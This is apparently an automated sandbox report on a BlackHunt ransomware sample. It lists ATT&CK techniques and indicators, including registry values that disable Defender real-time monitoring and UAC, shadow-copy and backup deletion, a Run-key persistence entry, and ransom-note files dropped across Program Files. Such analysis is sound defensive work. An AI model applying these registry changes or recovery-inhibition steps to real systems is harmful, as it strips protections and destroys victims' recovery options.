a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496

Data Destruction

T1485

pid	Process
3768	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2028	bcdedit.exe
3132	bcdedit.exe

Renames multiple (1422) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
364	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Z:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\B:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\R:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\T:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Y:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\P:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\K:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\L:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\I:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\G:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\N:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\Q:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\S:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\U:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\O:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\J:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\A:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\H:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\X:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened (read-only)	\??\V:	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fi-fi\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_move_18.svg	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons__retina_hiContrast_wob.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_delete_18.svg	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\skin.catalog	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tr.gif	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_Full.aapp	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-up.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\icons.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\da-dk\#BlackHunt_ReadMe.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xmlresolver.md	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\libs\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-sl\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_replace_signer_18.svg	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DigSig.api	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.hta	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\cef\#BlackHunt_Private.key	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2300	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1060	vssadmin.exe
4324	vssadmin.exe
4368	vssadmin.exe
4408	vssadmin.exe
4428	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	Conhost.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeRestorePrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeBackupPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeTakeOwnershipPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeAuditPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeSecurityPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeIncBasePriorityPrivilege	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Token: SeBackupPrivilege	4132	vssvc.exe
Token: SeRestorePrivilege	4132	vssvc.exe
Token: SeAuditPrivilege	4132	vssvc.exe
Token: SeBackupPrivilege	4712	wbengine.exe
Token: SeRestorePrivilege	4712	wbengine.exe
Token: SeSecurityPrivilege	4712	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4484 wrote to memory of 3120	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	89
PID 4484 wrote to memory of 3120	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	89
PID 4484 wrote to memory of 2936	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	91
PID 4484 wrote to memory of 2936	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	91
PID 4484 wrote to memory of 3708	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	93
PID 4484 wrote to memory of 3708	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	93
PID 4484 wrote to memory of 4808	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	95
PID 4484 wrote to memory of 4808	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	95
PID 4484 wrote to memory of 2200	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	172
PID 4484 wrote to memory of 2200	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	172
PID 4484 wrote to memory of 1212	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	100
PID 4484 wrote to memory of 1212	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	100
PID 4484 wrote to memory of 720	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	102
PID 4484 wrote to memory of 720	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	102
PID 4484 wrote to memory of 2792	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	104
PID 4484 wrote to memory of 2792	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	104
PID 4484 wrote to memory of 1400	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	106
PID 4484 wrote to memory of 1400	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	106
PID 4484 wrote to memory of 4116	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	107
PID 4484 wrote to memory of 4116	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	107
PID 4484 wrote to memory of 3552	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	113
PID 4484 wrote to memory of 3552	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	113
PID 4808 wrote to memory of 3184	4808	cmd.exe	114
PID 4808 wrote to memory of 3184	4808	cmd.exe	114
PID 3120 wrote to memory of 1972	3120	cmd.exe	168
PID 3120 wrote to memory of 1972	3120	cmd.exe	168
PID 2200 wrote to memory of 1136	2200	reg.exe	112
PID 2200 wrote to memory of 1136	2200	reg.exe	112
PID 2936 wrote to memory of 4904	2936	cmd.exe	111
PID 2936 wrote to memory of 4904	2936	cmd.exe	111
PID 3708 wrote to memory of 2324	3708	cmd.exe	110
PID 3708 wrote to memory of 2324	3708	cmd.exe	110
PID 4484 wrote to memory of 4076	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	115
PID 4484 wrote to memory of 4076	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	115
PID 4484 wrote to memory of 3380	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	125
PID 4484 wrote to memory of 3380	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	125
PID 4484 wrote to memory of 3340	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	120
PID 4484 wrote to memory of 3340	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	120
PID 4484 wrote to memory of 4452	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	122
PID 4484 wrote to memory of 4452	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	122
PID 4484 wrote to memory of 800	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	121
PID 4484 wrote to memory of 800	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	121
PID 4484 wrote to memory of 4344	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	126
PID 4484 wrote to memory of 4344	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	126
PID 4484 wrote to memory of 1004	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	128
PID 4484 wrote to memory of 1004	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	128
PID 4484 wrote to memory of 600	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	127
PID 4484 wrote to memory of 600	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	127
PID 4484 wrote to memory of 1736	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	132
PID 4484 wrote to memory of 1736	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	132
PID 4484 wrote to memory of 3952	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	133
PID 4484 wrote to memory of 3952	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	133
PID 4484 wrote to memory of 3968	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 4484 wrote to memory of 3968	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	136
PID 720 wrote to memory of 4916	720	cmd.exe	138
PID 720 wrote to memory of 4916	720	cmd.exe	138
PID 4484 wrote to memory of 1368	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	140
PID 4484 wrote to memory of 1368	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	140
PID 1212 wrote to memory of 4772	1212	cmd.exe	141
PID 1212 wrote to memory of 4772	1212	cmd.exe	141
PID 4484 wrote to memory of 4572	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	147
